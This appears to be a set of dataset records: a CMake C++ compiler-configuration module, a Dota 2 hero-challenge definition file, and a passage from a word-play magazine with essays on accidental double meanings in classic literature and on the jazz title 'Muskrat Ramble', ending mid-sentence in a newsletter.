text
stringlengths
2
99.9k
meta
dict
#============================================================================= # Copyright 2004-2011 Kitware, Inc. # # Distributed under the OSI-approved BSD License (the "License"); # see accompanying file Copyright.txt for details. # # This software is distributed WITHOUT ANY WARRANTY; without even the # implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # See the License for more information. #============================================================================= # (To distribute this file outside of CMake, substitute the full # License text for the above reference.) # This file sets the basic flags for the C++ language in CMake. # It also loads the available platform file for the system-compiler # if it exists. # It also loads a system - compiler - processor (or target hardware) # specific file, which is mainly useful for crosscompiling and embedded systems. # some compilers use different extensions (e.g. sdcc uses .rel) # so set the extension here first so it can be overridden by the compiler specific file IF(UNIX) SET(CMAKE_CXX_OUTPUT_EXTENSION .o) ELSE(UNIX) SET(CMAKE_CXX_OUTPUT_EXTENSION .obj) ENDIF(UNIX) SET(_INCLUDED_FILE 0) # Load compiler-specific information. IF(CMAKE_CXX_COMPILER_ID) INCLUDE(Compiler/${CMAKE_CXX_COMPILER_ID}-CXX OPTIONAL) ENDIF(CMAKE_CXX_COMPILER_ID) SET(CMAKE_BASE_NAME) GET_FILENAME_COMPONENT(CMAKE_BASE_NAME ${CMAKE_CXX_COMPILER} NAME_WE) # since the gnu compiler has several names force g++ IF(CMAKE_COMPILER_IS_GNUCXX) SET(CMAKE_BASE_NAME g++) ENDIF(CMAKE_COMPILER_IS_GNUCXX) # load a hardware specific file, mostly useful for embedded compilers IF(CMAKE_SYSTEM_PROCESSOR) IF(CMAKE_CXX_COMPILER_ID) INCLUDE(Platform/${CMAKE_SYSTEM_NAME}-${CMAKE_CXX_COMPILER_ID}-CXX-${CMAKE_SYSTEM_PROCESSOR} OPTIONAL RESULT_VARIABLE _INCLUDED_FILE) ENDIF(CMAKE_CXX_COMPILER_ID) IF (NOT _INCLUDED_FILE) INCLUDE(Platform/${CMAKE_SYSTEM_NAME}-${CMAKE_BASE_NAME}-${CMAKE_SYSTEM_PROCESSOR} OPTIONAL) ENDIF (NOT _INCLUDED_FILE) ENDIF(CMAKE_SYSTEM_PROCESSOR) # load the system- and compiler specific files IF(CMAKE_CXX_COMPILER_ID) INCLUDE(Platform/${CMAKE_SYSTEM_NAME}-${CMAKE_CXX_COMPILER_ID}-CXX OPTIONAL RESULT_VARIABLE _INCLUDED_FILE) ENDIF(CMAKE_CXX_COMPILER_ID) IF (NOT _INCLUDED_FILE) INCLUDE(Platform/${CMAKE_SYSTEM_NAME}-${CMAKE_BASE_NAME} OPTIONAL RESULT_VARIABLE _INCLUDED_FILE) ENDIF (NOT _INCLUDED_FILE) # We specify the compiler information in the system file for some # platforms, but this language may not have been enabled when the file # was first included. Include it again to get the language info. # Remove this when all compiler info is removed from system files. IF (NOT _INCLUDED_FILE) INCLUDE(Platform/${CMAKE_SYSTEM_NAME} OPTIONAL) ENDIF (NOT _INCLUDED_FILE) IF(CMAKE_CXX_SIZEOF_DATA_PTR) FOREACH(f ${CMAKE_CXX_ABI_FILES}) INCLUDE(${f}) ENDFOREACH() UNSET(CMAKE_CXX_ABI_FILES) ENDIF() # This should be included before the _INIT variables are # used to initialize the cache. Since the rule variables # have if blocks on them, users can still define them here. # But, it should still be after the platform file so changes can # be made to those values. IF(CMAKE_USER_MAKE_RULES_OVERRIDE) # Save the full path of the file so try_compile can use it. INCLUDE(${CMAKE_USER_MAKE_RULES_OVERRIDE} RESULT_VARIABLE _override) SET(CMAKE_USER_MAKE_RULES_OVERRIDE "${_override}") ENDIF() IF(CMAKE_USER_MAKE_RULES_OVERRIDE_CXX) # Save the full path of the file so try_compile can use it. INCLUDE(${CMAKE_USER_MAKE_RULES_OVERRIDE_CXX} RESULT_VARIABLE _override) SET(CMAKE_USER_MAKE_RULES_OVERRIDE_CXX "${_override}") ENDIF() # for most systems a module is the same as a shared library # so unless the variable CMAKE_MODULE_EXISTS is set just # copy the values from the LIBRARY variables IF(NOT CMAKE_MODULE_EXISTS) SET(CMAKE_SHARED_MODULE_CXX_FLAGS ${CMAKE_SHARED_LIBRARY_CXX_FLAGS}) ENDIF(NOT CMAKE_MODULE_EXISTS) # Create a set of shared library variable specific to C++ # For 90% of the systems, these are the same flags as the C versions # so if these are not set just copy the flags from the c version IF(NOT CMAKE_SHARED_LIBRARY_CREATE_CXX_FLAGS) SET(CMAKE_SHARED_LIBRARY_CREATE_CXX_FLAGS ${CMAKE_SHARED_LIBRARY_CREATE_C_FLAGS}) ENDIF(NOT CMAKE_SHARED_LIBRARY_CREATE_CXX_FLAGS) IF(NOT CMAKE_SHARED_LIBRARY_CXX_FLAGS) SET(CMAKE_SHARED_LIBRARY_CXX_FLAGS ${CMAKE_SHARED_LIBRARY_C_FLAGS}) ENDIF(NOT CMAKE_SHARED_LIBRARY_CXX_FLAGS) IF(NOT DEFINED CMAKE_SHARED_LIBRARY_LINK_CXX_FLAGS) SET(CMAKE_SHARED_LIBRARY_LINK_CXX_FLAGS ${CMAKE_SHARED_LIBRARY_LINK_C_FLAGS}) ENDIF(NOT DEFINED CMAKE_SHARED_LIBRARY_LINK_CXX_FLAGS) IF(NOT CMAKE_SHARED_LIBRARY_RUNTIME_CXX_FLAG) SET(CMAKE_SHARED_LIBRARY_RUNTIME_CXX_FLAG ${CMAKE_SHARED_LIBRARY_RUNTIME_C_FLAG}) ENDIF(NOT CMAKE_SHARED_LIBRARY_RUNTIME_CXX_FLAG) IF(NOT CMAKE_SHARED_LIBRARY_RUNTIME_CXX_FLAG_SEP) SET(CMAKE_SHARED_LIBRARY_RUNTIME_CXX_FLAG_SEP ${CMAKE_SHARED_LIBRARY_RUNTIME_C_FLAG_SEP}) ENDIF(NOT CMAKE_SHARED_LIBRARY_RUNTIME_CXX_FLAG_SEP) IF(NOT CMAKE_SHARED_LIBRARY_RPATH_LINK_CXX_FLAG) SET(CMAKE_SHARED_LIBRARY_RPATH_LINK_CXX_FLAG ${CMAKE_SHARED_LIBRARY_RPATH_LINK_C_FLAG}) ENDIF(NOT CMAKE_SHARED_LIBRARY_RPATH_LINK_CXX_FLAG) IF(NOT DEFINED CMAKE_EXE_EXPORTS_CXX_FLAG) SET(CMAKE_EXE_EXPORTS_CXX_FLAG ${CMAKE_EXE_EXPORTS_C_FLAG}) ENDIF() IF(NOT DEFINED CMAKE_SHARED_LIBRARY_SONAME_CXX_FLAG) SET(CMAKE_SHARED_LIBRARY_SONAME_CXX_FLAG ${CMAKE_SHARED_LIBRARY_SONAME_C_FLAG}) ENDIF() IF(NOT CMAKE_EXECUTABLE_RUNTIME_CXX_FLAG) SET(CMAKE_EXECUTABLE_RUNTIME_CXX_FLAG ${CMAKE_SHARED_LIBRARY_RUNTIME_CXX_FLAG}) ENDIF(NOT CMAKE_EXECUTABLE_RUNTIME_CXX_FLAG) IF(NOT CMAKE_EXECUTABLE_RUNTIME_CXX_FLAG_SEP) SET(CMAKE_EXECUTABLE_RUNTIME_CXX_FLAG_SEP ${CMAKE_SHARED_LIBRARY_RUNTIME_CXX_FLAG_SEP}) ENDIF(NOT CMAKE_EXECUTABLE_RUNTIME_CXX_FLAG_SEP) IF(NOT CMAKE_EXECUTABLE_RPATH_LINK_CXX_FLAG) SET(CMAKE_EXECUTABLE_RPATH_LINK_CXX_FLAG ${CMAKE_SHARED_LIBRARY_RPATH_LINK_CXX_FLAG}) ENDIF(NOT CMAKE_EXECUTABLE_RPATH_LINK_CXX_FLAG) IF(NOT DEFINED CMAKE_SHARED_LIBRARY_LINK_CXX_WITH_RUNTIME_PATH) SET(CMAKE_SHARED_LIBRARY_LINK_CXX_WITH_RUNTIME_PATH ${CMAKE_SHARED_LIBRARY_LINK_C_WITH_RUNTIME_PATH}) ENDIF(NOT DEFINED CMAKE_SHARED_LIBRARY_LINK_CXX_WITH_RUNTIME_PATH) IF(NOT CMAKE_INCLUDE_FLAG_CXX) SET(CMAKE_INCLUDE_FLAG_CXX ${CMAKE_INCLUDE_FLAG_C}) ENDIF(NOT CMAKE_INCLUDE_FLAG_CXX) IF(NOT CMAKE_INCLUDE_FLAG_SEP_CXX) SET(CMAKE_INCLUDE_FLAG_SEP_CXX ${CMAKE_INCLUDE_FLAG_SEP_C}) ENDIF(NOT CMAKE_INCLUDE_FLAG_SEP_CXX) # repeat for modules IF(NOT CMAKE_SHARED_MODULE_CREATE_CXX_FLAGS) SET(CMAKE_SHARED_MODULE_CREATE_CXX_FLAGS ${CMAKE_SHARED_MODULE_CREATE_C_FLAGS}) ENDIF(NOT CMAKE_SHARED_MODULE_CREATE_CXX_FLAGS) IF(NOT CMAKE_SHARED_MODULE_CXX_FLAGS) SET(CMAKE_SHARED_MODULE_CXX_FLAGS ${CMAKE_SHARED_MODULE_C_FLAGS}) ENDIF(NOT CMAKE_SHARED_MODULE_CXX_FLAGS) # Initialize CXX link type selection flags from C versions. FOREACH(type SHARED_LIBRARY SHARED_MODULE EXE) IF(NOT CMAKE_${type}_LINK_STATIC_CXX_FLAGS) SET(CMAKE_${type}_LINK_STATIC_CXX_FLAGS ${CMAKE_${type}_LINK_STATIC_C_FLAGS}) ENDIF(NOT CMAKE_${type}_LINK_STATIC_CXX_FLAGS) IF(NOT CMAKE_${type}_LINK_DYNAMIC_CXX_FLAGS) SET(CMAKE_${type}_LINK_DYNAMIC_CXX_FLAGS ${CMAKE_${type}_LINK_DYNAMIC_C_FLAGS}) ENDIF(NOT CMAKE_${type}_LINK_DYNAMIC_CXX_FLAGS) ENDFOREACH(type) # add the flags to the cache based # on the initial values computed in the platform/*.cmake files # use _INIT variables so that this only happens the first time # and you can set these flags in the cmake cache SET(CMAKE_CXX_FLAGS_INIT "$ENV{CXXFLAGS} ${CMAKE_CXX_FLAGS_INIT}") # avoid just having a space as the initial value for the cache IF(CMAKE_CXX_FLAGS_INIT STREQUAL " ") SET(CMAKE_CXX_FLAGS_INIT) ENDIF(CMAKE_CXX_FLAGS_INIT STREQUAL " ") SET (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS_INIT}" CACHE STRING "Flags used by the compiler during all build types.") IF(NOT CMAKE_NOT_USING_CONFIG_FLAGS) SET (CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG_INIT}" CACHE STRING "Flags used by the compiler during debug builds.") SET (CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_MINSIZEREL_INIT}" CACHE STRING "Flags used by the compiler during release minsize builds.") SET (CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE_INIT}" CACHE STRING "Flags used by the compiler during release builds (/MD /Ob1 /Oi /Ot /Oy /Gs will produce slightly less optimized but smaller files).") SET (CMAKE_CXX_FLAGS_RELWITHDEBINFO "${CMAKE_CXX_FLAGS_RELWITHDEBINFO_INIT}" CACHE STRING "Flags used by the compiler during Release with Debug Info builds.") ENDIF(NOT CMAKE_NOT_USING_CONFIG_FLAGS) IF(CMAKE_CXX_STANDARD_LIBRARIES_INIT) SET(CMAKE_CXX_STANDARD_LIBRARIES "${CMAKE_CXX_STANDARD_LIBRARIES_INIT}" CACHE STRING "Libraries linked by defalut with all C++ applications.") MARK_AS_ADVANCED(CMAKE_CXX_STANDARD_LIBRARIES) ENDIF(CMAKE_CXX_STANDARD_LIBRARIES_INIT) INCLUDE(CMakeCommonLanguageInclude) # now define the following rules: # CMAKE_CXX_CREATE_SHARED_LIBRARY # CMAKE_CXX_CREATE_SHARED_MODULE # CMAKE_CXX_COMPILE_OBJECT # CMAKE_CXX_LINK_EXECUTABLE # variables supplied by the generator at use time # <TARGET> # <TARGET_BASE> the target without the suffix # <OBJECTS> # <OBJECT> # <LINK_LIBRARIES> # <FLAGS> # <LINK_FLAGS> # CXX compiler information # <CMAKE_CXX_COMPILER> # <CMAKE_SHARED_LIBRARY_CREATE_CXX_FLAGS> # <CMAKE_CXX_SHARED_MODULE_CREATE_FLAGS> # <CMAKE_CXX_LINK_FLAGS> # Static library tools # <CMAKE_AR> # <CMAKE_RANLIB> # create a shared C++ library IF(NOT CMAKE_CXX_CREATE_SHARED_LIBRARY) SET(CMAKE_CXX_CREATE_SHARED_LIBRARY "<CMAKE_CXX_COMPILER> <CMAKE_SHARED_LIBRARY_CXX_FLAGS> <LANGUAGE_COMPILE_FLAGS> <LINK_FLAGS> <CMAKE_SHARED_LIBRARY_CREATE_CXX_FLAGS> <CMAKE_SHARED_LIBRARY_SONAME_CXX_FLAG><TARGET_SONAME> -o <TARGET> <OBJECTS> <LINK_LIBRARIES>") ENDIF(NOT CMAKE_CXX_CREATE_SHARED_LIBRARY) # create a c++ shared module copy the shared library rule by default IF(NOT CMAKE_CXX_CREATE_SHARED_MODULE) SET(CMAKE_CXX_CREATE_SHARED_MODULE ${CMAKE_CXX_CREATE_SHARED_LIBRARY}) ENDIF(NOT CMAKE_CXX_CREATE_SHARED_MODULE) # Create a static archive incrementally for large object file counts. # If CMAKE_CXX_CREATE_STATIC_LIBRARY is set it will override these. IF(NOT DEFINED CMAKE_CXX_ARCHIVE_CREATE) SET(CMAKE_CXX_ARCHIVE_CREATE "<CMAKE_AR> cr <TARGET> <LINK_FLAGS> <OBJECTS>") ENDIF() IF(NOT DEFINED CMAKE_CXX_ARCHIVE_APPEND) SET(CMAKE_CXX_ARCHIVE_APPEND "<CMAKE_AR> r <TARGET> <LINK_FLAGS> <OBJECTS>") ENDIF() IF(NOT DEFINED CMAKE_CXX_ARCHIVE_FINISH) SET(CMAKE_CXX_ARCHIVE_FINISH "<CMAKE_RANLIB> <TARGET>") ENDIF() # compile a C++ file into an object file IF(NOT CMAKE_CXX_COMPILE_OBJECT) SET(CMAKE_CXX_COMPILE_OBJECT "<CMAKE_CXX_COMPILER> <DEFINES> <FLAGS> -o <OBJECT> -c <SOURCE>") ENDIF(NOT CMAKE_CXX_COMPILE_OBJECT) IF(NOT CMAKE_CXX_LINK_EXECUTABLE) SET(CMAKE_CXX_LINK_EXECUTABLE "<CMAKE_CXX_COMPILER> <FLAGS> <CMAKE_CXX_LINK_FLAGS> <LINK_FLAGS> <OBJECTS> -o <TARGET> <LINK_LIBRARIES>") ENDIF(NOT CMAKE_CXX_LINK_EXECUTABLE) MARK_AS_ADVANCED( CMAKE_BUILD_TOOL CMAKE_VERBOSE_MAKEFILE CMAKE_CXX_FLAGS CMAKE_CXX_FLAGS_RELEASE CMAKE_CXX_FLAGS_RELWITHDEBINFO CMAKE_CXX_FLAGS_MINSIZEREL CMAKE_CXX_FLAGS_DEBUG) SET(CMAKE_CXX_INFORMATION_LOADED 1)
{ "pile_set_name": "Github" }
"pugna_decrepify_nether_blast_combo" { "desc" "#DOTA_ChallengeDesc_Pugna_NetherBlastDecrepCombo" "requiredhero" "pugna" "image" "images/spellicons/pugna_decrepify.png" "events" { "matching_type" "timeblock_series_any_order" "query" { "time_block" "2.0" "series" { "decrepify" { "event" "modifier_add" "modifier" "modifier_pugna_decrepify" "target_must_be_hero" "1" "target" "|1" "storage" { "1" { "key" "target" "aggregator" "count" "once_per_query" "1" } } } "nether_blast" { "event" "damage" "attack" "pugna_nether_blast" "target_must_be_hero" "1" "target" "|1" "storage" { "1" { "key" "target" "aggregator" "count" "once_per_query" "1" } } } } } "clear_storage_per_query" { "1" "1" "2" "0" } "progress_stored_in" "2" "postmatch_increments" { "storage" { "2" { "aggregator" "increment" } } } "post_tests" { "combos_performed" { "storage" "2" "compare" ">=" "amount" "<combos_performed>" } } } "variables" { "<combos_performed>" { "format" "int" "index" "0" } } }
{ "pile_set_name": "Github" }
Red Pants While writers whose business it is to be witty often fail to produce, grave authors occasionally are mirthful when laughter is farthest from their minds. From a lifetime of undisciplined reading with innocent pencil in hand and malice prepense in mind, I have gleaned a harvest of what I am pleased to denominate Red Pants items, a sampling of which follows. My designation derives from a splash of vivid writing in Francis Thompson's A Corymbus for Autumn in which he proclaims how “day's dying dragon” was Panting red pants into the West. In this trousers category, Thompson must share the limelight with Coleridge by virtue of the line in Kubla Khan : As if this earth in fast thick pants were breathing. Even Shelley may stake a claim, if only in the pajama division of this sector, thanks to his description in Epipsychidion of how ... the slow, silent night Is measured by the pants of their calm sleep. Since everthing is to be found in Shakespeare, it is not surprising that on at least two occasions the Board has contributed his own Red Pants nuggets. In Antony and Cleopatra (Act IV, Scene VIII, lines 14 et seq .) Antony commands the wounded Scarus to ... leap thou, attire and all, Through proof of harness to my heart, and there Ride on the pants triumphing. And in Othello (Act II, Scene I, line 80) Cassio utters the fervent prayer that Othello might Make love's quick pants in Desdemona's arms. A variation on this theme occurs in Alba de Céspedes' The Secret (translated from the Italian by Isabel Quigly: Simon and Schuster, New York, 1958, page 114) where she confides that “I still had a whole afternoon before me to spend, and I used it to tidy up my drawers....” One may well wonder what Miss Stowe had in mind when, in Uncle Tom's Cabin (Chapter 5), she narrates how “Mrs. Shelby stood like one stricken. Finally, turning to her toilet, she rested her face in her hands, and gave a sort of groan.” In this same vein, the mirthless Milton adds his bit to the general hilarity of nations when, in describing Mount Etna in Book I of Paradise Lost (lines 236-7) he penned And leave a singed bottom all involved With stench and smoke: ... And in Chapter VI of Vanity Fair , when Blenkinsop, the housekeeper, sought to console Amelia for Joe Sedley's jilting of her dear Rebecca, Thackeray confides (indelicately?) that Amelia wept confidentially on the housekeeper's shoulder “and relieved herself a good deal.” Chuckles often emanate from the British employment of a term in a sense at variance with American usage. There is that oft-quoted example, near the opening of Trial by Jury , where Defendant asks, “Is this the Court of the Exchequer?” and having been assured that it was, Defendant (aside) commands himself to “Be firm, be firm, my pecker.” The British, of course, do not giggle at this bit of Gilbertian dialogue, since to them pecker means `courage,' as in the phrase “to keep your pecker up.” Two of the more common examples of British-American divergence of usage are screw and knock up . In Vanity Fair (Chapter 39), the niggardly Sir Pitt was not nearly the aerial acrobat your American sophomore might fancy him to be when he “screwed his tenants by letter.” He was simply making extortionate exactions upon his wretched lessees. Similarly, when in Chapter XXXIV of the same novel, Mrs. Bute reminds her husband that “You'd have been screwed in goal, Bute, if I had not kept your money,” she was not speaking of pleasures deferred. In Bleak House (Chapter XXVII) Grandfather Smallweed, referring to Mr. George, warns Mr. Tulkinghorn that “I have him periodically in a vice. I'll twist him, sir. I'll screw him, sir.” In Kipling's The Light That Failed (Chapter XIII), Torpenhow urges Dick to attend a party that night, “We shall be half screwed before the morning,” is his dismal sales pitch to Dick. In Chapter VI of Vanity Fair , Thackeray reports on Joe Sedley's drunken avowal to wed Becky Sharp the next morning, even if he had to “knock up the Archbishop of Canterbury at Lambeth,” in order to have him in readiness to perform the ceremony. In Great Expectations (Chapter VI), we learn how “... Mr. Whopsle, being knocked up, was in such a very bad temper.” And who could blame him? Many a raucous snigger has been sniggered from the pure-minded use of a word that suggests unmentionable parts of the human body. It does not take a too-wicked mind to read into such terms meanings of a lewd nature. Who can, for instance, blame a youth with but a mildly evil disposition from guffawing when he reads in Pater's Marius The Epicurean (Chapter V) a reference to Apuleius' The Golden Ass noting that “all through the book, there is an unmistakably real feeling for asses ...”? In Scott's The Bride of Lammermoor (Chapter VII), one reads about a boy “cudgelling an ass,” and one goes back over the passage to reassure himself that it does not contain a typographical error for “cuddling.” One may be indulged a giggle even though he is sure that Isak Dinesen did not intend an impropriety when she recorded in Out of Africa (Part V, Chapter 4) how “Fathima's big white cock came strutting up before me.” And one is certain that Kenneth Rexroth, in his American Poetry in the Twentieth Century (Herder and Herder, N.Y., 1971) did not intend to hint at closet biographical matter when, in Chapter I, he wrote that “Whitman's poems are full of men doing things together,” or, later in the same chapter, when he referred to “Whitman's joyous workmen swinging their tools in the open air.” College freshman still read with flendish glee the first line in Canto I of Spenser's The Faerie Queene (and never mind the title!) that tells how A Gentle Knight was pricking on the plaine. In his poem Mr Nixon (from Hugh Selwyn Mauberley ), Ezra Pound's Mr. Nixon advises kindly Don't kick against the pricks, although the identities of the latter are not divulged. One is entitled to speculate on what outrageous proposal the narrator had made in Proust's Remembrance of Things Past, Vol. 2—Cities of the Plain (translated by C. K. Scott Moncrieff—Modern Library, N.Y., 1934, Page 90) to cause the Duchess to say, “Apart from your balls, can't I be of any use to you?” There is a famous letter penned by Rupert Brooke to his friend, Edward Marsh, from somewhere near Fiji (p. 463 of A Treasury of the World's Great Letters , Simon and Schuster, N.Y., 1940) in which he relates how he sends his native boy up a palm tree, where he “cuts off a couple of vast nuts ...” (macho victim not disclosed). In the first chapter of Uncle Tom's Cabin , Miss Stowe offers a dialogue between Haley and Mr. Shelby, part of which goes, “ `Well,' said Haley, after they had both silently picked their nuts for a season, `what do you say?' ” In Bleak House (Chapter XXIV) Dickens may cause some readers to blush when he wrote of Mr. George's blush that “He reddened a little through his brown.” We must move ineluctably to a consideration of perfectly reputable words which, having acquired sexual connotations, cause adolescent—and often adult— hilarity, even when read by a person of only mildly prurient mind. In Forster's A Passage to India (Chapter XXXI) a vivid picture is created by the sentence “Tangles like this still interrupted their intercourse.” Pages later (Chapter XXXVII), it is acknowledged that “He, too, felt that this was their last free intercourse.” Apparently from then on, it was going to have to be cash or credit card only. In The Bride of Lammermoor (Chapter V), we are informed that the heroine “placed certain restrictions on their intercourse,” a limitation that might have been more usefully set in that same author's Rob Roy (Chapter VII) where we are told of the chance that the narrator and Miss Vernon might be “thrown into very close and frequent intercourse.” A variation of this theme is found in Robert Browning's The Flight of the Duchess (Section V): —Not he! For in Paris they told the elf Our rough North land was the Land of Lays, even though it is generally acknowledged that Paris is número uno in this area of human activity. More picturesque are the references to erections. An arresting one occurs in A Passage to India (Chapter XXI) in which Forster describes a small building as “a flimsy and frivolous erection,” while in The Mayor of Casterbridge (Chapter XVI) the Mayor himself “beheld the unattractive exterior of Farfrae's erection.” A phrase can paint an astonishing picture for the reader. Consider Dickens' sharp image in Bleak House (Chapter LIV) when he describes how “Sir Leicester leans back in his chair, and breathlessly ejaculates.... ” Or, in Nicholas Nickleby (Chapter XLVII), where that admirable novelist graphically portrays how old Arthur Gride “again raised his hands, again chuckled, and again ejaculated.” And in his short tale, Lionizing , Edgar Allan Poe is quite candid in describing the reaction of one of his characters: “ ` Admirable! ' he ejaculated, thrown quite off his guard by the beauty of the manoeuvre.” Alas for perfectly lovely words that acquire pejorative meanings over the years! Earlier in this century, pansy became a derogatory epithet to describe an effete male, thereby cheapening forever lines like Shelley's noble image in Adonais (verse XXXIII): His head was bound with pansies over-blown, not to mention Poe's odd allusion in For Annie : With rue and the beautiful Puritan pansies. Or, more slap-stickish, E.F. Benson's action picture in Lucia in London (Chapter 8): “Georgie stepped on a beautiful pansy.” Of more recent vintage is gay . Nobody used to snicker at Chaucer's line (No. 5818) in The Prologe of the Wyf of Bathe , in which that harried dame asks: Why is my neghebores wif so gay? In his poem The Menagerie , one of William Vaughan Moody's characters advises: If nature made you so graceful, don't get gay, while in Othello (ah, the Bard again!) in his dialogue with Desdemona and Emilia on the praise of women, Iago refers to the kind that Never lack'd gold, and yet went never gay. (Act II, Scene I, line 150) And what in the world is one to make of William Butler Yeats's startling revelation in his poem Lapis Lazuli (from Last Poems ) that They know that Hamlet and Lear are gay.? Indeed it is an amusing, albeit utterly wasteful pastime to pursue the quest for Red Pants examples. May good cess befall all such quixotically misguided readers! One caveat: never assume blithely that an odd word or suspicious phrase is as lubricious as it sounds. In The Bride of Lammermoor (Chapter VI) Bucklaw vows, “I will chop them off with my whinger,” and one feels quite let down when he learns that a whinger is but a whinyard, which is merely a short sword. “Turning a corner of the Mazza Gallerie into a women's tennis store, I was startled to see ... hordes of giggling high school girls ... ” [From an article by Dorothy Gilliam in the Washington Post , . Submitted by .] LIGHT REFRACTIONS If you are a fan of old-fashioned jazz—what is now known as “traditional” or “trad” jazz—you are familiar with one of the standard “jump tunes” of the genre—a tune most commonly called Muskrat Ramble . Even if you are not a fan, you must have heard it as least a dozen times. It is the one that goes, “Dah! Dah! Dah! Dah! da-dat-dat-dah! Da-de-da-de-da-de-dat-dat-dah ! da-de-da-de-da-de-dat-dat-dah!” That's it; sure; you've heard it. I think I first bought a recording of Muskrat Ramble back in about 1940, when I was in my early teens. My memory is rickety, but I am sure my first recording was labeled MUSKRAT RAMBLE, and I think, though I am less sure, that it was played by the late “Muggsy” Spanier, who was, to my mind, one of the greatest of jazz trumpeters. Later, I got another recording of the same tune, this one by, I think, Mezz Mezzrow. The label said, MUSKAT RAMBLE. I thought that was surely the first time I had ever seen such an obvious typographical error in, of all things, a simple title on a simple 78-rpm record. (This, remember, was in my youth, and it was a time when typographical errors were called typographical errors, not typos—at least by kids in junior high.) Some time later, I got still another version of MUSKRAT RAMBLE, with still another version of the title. This time, it was MUSCAT RAMBLE. That, I thought, was really absurd. Not only had they left out the “R”; they'd changed the “K” to “C”. Now, it made no sense at all. On the other hand, I reasoned, if there were, in fact, some sort of cat called a muscat, perhaps it wasn't so outrageous. I looked up muscat in my Webster's and found that it is a `variety of grape.' To name a ramble after a variety of grape seemed to me preposterous. I was young and, by today's standards, at least, pathetically innocent. During my time in senior high, and, after that, in the Army Air Force, I had other things on my mind (there was a war on, after all), and I didn't give the MUSKRAT-MUSKAT-MUSCAT RAMBLE problem any thought. Speaking of my time in the AAF, which was utterly undistinguished, I think I must make a confession. Now might be as good a time as any to reveal a theft I committed at an Air Force Base near Seymour, Indiana. It was winter and bitterly cold. The wind used to sweep across that damned airfield with what seemed an absolute determination to crystallize our bodies. One day when the wind chill factor was nearing absolute zero, I took shelter in the service club. There was the omnipresent phonograph, or Vic , short for Victrola, and the stack of records next to it. In those days, people as a rule did not take much care of phonograph records. Usually the records were taken from their jackets and loaded naked in stacks, where they picked up dust, scratched one another, and traded static electricity. I was shuffling through a stack of about fifty records, and I came across three Bessie Smiths. I played all three, and the few other G.I.s in the room, which was quite large—big enough for a fair-sized dance with a small orchestra—either paid no attention or asked me to put on something by Glenn Miller or Jimmy or Tommy Dorsey instead. Among Bessie's numbers were Dying Gambler's Blues, Sing Sing Prison Blues , and one I had never heard called Black Mountain Blues , which has the imcomparable lines, Home in Black Mountain a chile' will smack yo' face; Home in Black Mountain a chile' will smack yo' face; Babies cry for liquor an' all the birds sing bass. and Goin' back to Black Mountain, me an' my razor an' my gun; Goin' back to Black Mountain, me an' my razor an my gun; Goin' cut him if he stan' still, goin' shoot him if he run. I was, and still am, captivated by “Babies cry for liquor an' the birds sing bass,” and in the arrogance of my youth, I was certain that nobody else on the airfield either knew or cared who Bessie Smith was, nor would any other G.I. be enchanted by basso birds, so I turned thief. I can't remember how I did it, but somehow I smuggled those records back to my barracks and got them home intact on my next furlough. I kept them in good shape until my last 78-rpm turntable died. End of digression and back to MUSKRAT-KAT-CAT: Muskrat Ramble is credited to Edward “Kid” Ory and Ray Gilbert. “Kid” Ory played great jazz trombone. The only thing I know about Gilbert is that I find him listed as co-author of Muskrat Ramble . About thirty years ago, when I was concocting an epicurean dish and saw that I had no sherry on hand, I went to the liquor store and bought a bottle of muscatel that was being sold for an absurdly low price and that I thought might be exactly right for my sauce. It wasn't bad, The wine jogged my thoughts back to Muscat Ramble . Muscatel is made from muscat grapes, is sometimes called muscat , and, being relatively cheap and sweet and high in alcohol content, is the booze of choice for a great many wines. An old college friend of mine who celebrated his twentieth birthday—meaning twenty years of AA sobriety—a couple of years ago, tells me that when he was on the skids and riding the rails from drunk tank to drunk tank, the favorite terms for muscat were muscadoodle and Napa Valley smoke . I made up my mind that Muscat Ramble was almost certainly the original name of the tune. My reasoning is that it is not likely that “Kid” Ory or Ray Gilbert had ever seen a muskrat, and it's even less likely that they or anyone else has ever seen a muskrat doing anything that we would be likely to think of as rambling. Muskrats, according to my encyclopedia, look like giant rats, are found in and around the mudbanks bordering marshes and quiet ponds, have partially webbed feet, and do a good deal of swimming. They do not appear to do much rambling. Muscat, or muscatel, on the other hand, is found on skid rows all over the land. A guy with a bottle-shaped brown paper bag, damp and wrinkled at its upper end, has almost certainly been slugging down a sweet wine of high proof, and the odds are pretty good you would find it is a muscadoodle . After the guy finishes his Napa Valley smoke and has slept it off, he is looking for the means to get another muscat fix. Now he is on a ramble with his hand out and a pleading look in his roadmapped eyes. I suspect that that is precisely the song's origin. My theory is that the “r” got put in there simply because muskrat is a more common word than muscat . It is the same reason most of us, I assume, have heard, “He's in the hospital with prostrate trouble.” Prostrate is a more common word that prostate , so prostrate is what we get. The “r” fits in naturally. I got a strange sort of corroboration from my good friend Rosy McHargue, who is now pushing eighty-seven years and has spent most of his life playing clarinet and sax with some of the best jazzbands—Benny Goodman, Red Nichols, Ted Weems, and a slew of others. Rosy, too, had seen the tune as Muskrat, Muskat , and Muscat . I asked him what he thought the original title was. He had known “Kid” Ory well, and he said, “You know, Tom, I'm not exactly sure. I once asked Ory about it and he said, `It's m-u-s-c-a-t. Muskrat .' So I think that's just the way everyone said muscat .” There you are. I find a muskrat ramble difficult to imagine visually. I picture muskrats wallowing about in the mire and paddling sluggishly through the water, but I wouldn't call that rambling. On the other hand, a wino with an empty paper bag on a ramble to maintain his muscat level—now that has a touch of poetry. Maybe not in the same class with “all the birds sing bass,” but poetry, nevertheless. As a nonexpert, although interested, subscriber to VERBATIM, it is “a bit mysterious” to me that the singular noun absence takes the plural verb are . I refer to the first sentence of your article about the Longman Dictionary [XV,1]. Helen W. Power, in “Women on Language; Women in Language,” [XV,2] may bewail the insensitivity of the male. But she betrays her own elitist insensitivity when she describes a flight attendant as “the person who passes peanuts on an airplane.” I hope Ms./Miss/Mrs. Power never needs to draw on the considerable first-aid and emergency training that every attendant must master. Antipodean Newsletter Leonard Bloomfield, having begun with a theory of meaning which emphasized the environment in which objects were present and named, had to add the obvious proviso that we sometimes mention what is not present. I have lately been reading accounts of the exploration of the western and northwestern deserts of Australia in the 1870s and I have become very aware of the effect absent necessities might have on the frequency of particular items in discourse. In the desert the missing necessity is water. As the explorer Ernest Giles put it, the explorer's experience is a “baptism worse than that of 